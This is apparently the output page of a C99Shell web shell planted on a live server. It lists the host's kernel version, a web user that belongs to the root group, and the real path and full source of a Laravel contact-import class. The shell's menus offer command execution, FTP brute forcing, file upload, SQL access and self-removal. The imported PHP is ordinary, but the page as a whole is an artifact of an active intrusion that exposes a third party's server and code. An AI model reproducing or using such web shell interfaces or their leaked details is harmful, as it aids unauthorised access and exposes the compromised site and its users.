!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/app/Imports/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.23%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ContactsImport.php (3.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Imports;

use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\Group;

use 
Illuminate\Contracts\Queue\ShouldQueue;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Maatwebsite\Excel\Concerns\SkipsOnError;
use 
Maatwebsite\Excel\Concerns\SkipsOnFailure;
use 
Maatwebsite\Excel\Concerns\ToCollection;
use 
Maatwebsite\Excel\Concerns\WithChunkReading;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Concerns\WithHeadingRow;
use 
Maatwebsite\Excel\Concerns\WithValidation;
use 
Maatwebsite\Excel\Concerns\SkipsErrors;
use 
Maatwebsite\Excel\Events\AfterImport;
use 
Maatwebsite\Excel\Events\BeforeImport;
use 
Maatwebsite\Excel\Events\ImportFailed;

class 
ContactsImport implements ToCollectionWithHeadingRowSkipsOnErrorWithChunkReadingShouldQueueWithEvents
{
    use 
SkipsErrors;

    public 
$group_id '';

    public function 
__construct($group_id$auth_user)
    {
        
$this->auth_user $auth_user;
        
$this->group_id $group_id;
    }


    
/**
     * @param Collection $rows
     * @throws \Throwable
     */
    
public function collection(Collection $rows)
    {

        
$errorMsg "";
        
DB::beginTransaction();

        
$i 1;
        
$contactGroup = [];
        foreach (
$rows as $key => $row) {

            if (isset(
$row['email']) && $row['email']) {

                
//You can validate other values using same steps.

                
$data['first_name'] = $row['first_name'] ?? '';
                
$data['last_name'] = $row['last_name'] ?? '';
                
$data['email'] = $row['email'] ?? '';
                
$data['company'] = $row['company'] ?? '';
                
$data['address'] = $row['address'] ?? '';
                
$data['city'] = $row['city'] ?? '';
                
$data['state'] = $row['state'] ?? '';
                
$data['zip_code'] = $row['zip_code'] ?? '';
                
$data['note'] = $row['note'] ?? '';
                
$contact $this->auth_user->contacts()->create($data);
                
$contactGroup[] = [
                    
'customer_id' => $this->auth_user->id,
                    
'group_id' => $this->group_id,
                    
'contact_id' => $contact->id,
                    
'created_at' => now(),
                    
'updated_at' => now()
                ];

                if (!
$contact) {
                    
$errorMsg "Error while inserting";
                    break;
                }
                
$i++;
            }
        }
        if (
$contactGroup) {
            foreach (
array_chunk($contactGroup1000) as $contactChunk) {
                
ContactGroup::insert($contactChunk);
            }
        }
        if (!empty(
$errorMsg)) {
            
// Rollback in case there is error
            
DB::rollBack();
        } else {
            
// Commit to database
            
DB::commit();
        }
    }

    public function 
chunkSize(): int
    
{
        return 
2000;
    }

    public function 
registerEvents(): array
    {
        return [
            
ImportFailed::class => function (ImportFailed $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'failed''import_fail_message' => substr($event->getException(), 0191)]);
            },
            
BeforeImport::class => function (BeforeImport $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'running']);
            },
            
AfterImport::class => function (AfterImport $event) {
                
Group::where('id'$this->group_id)->update(['import_status' => 'completed']);
            }
        ];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0116 ]--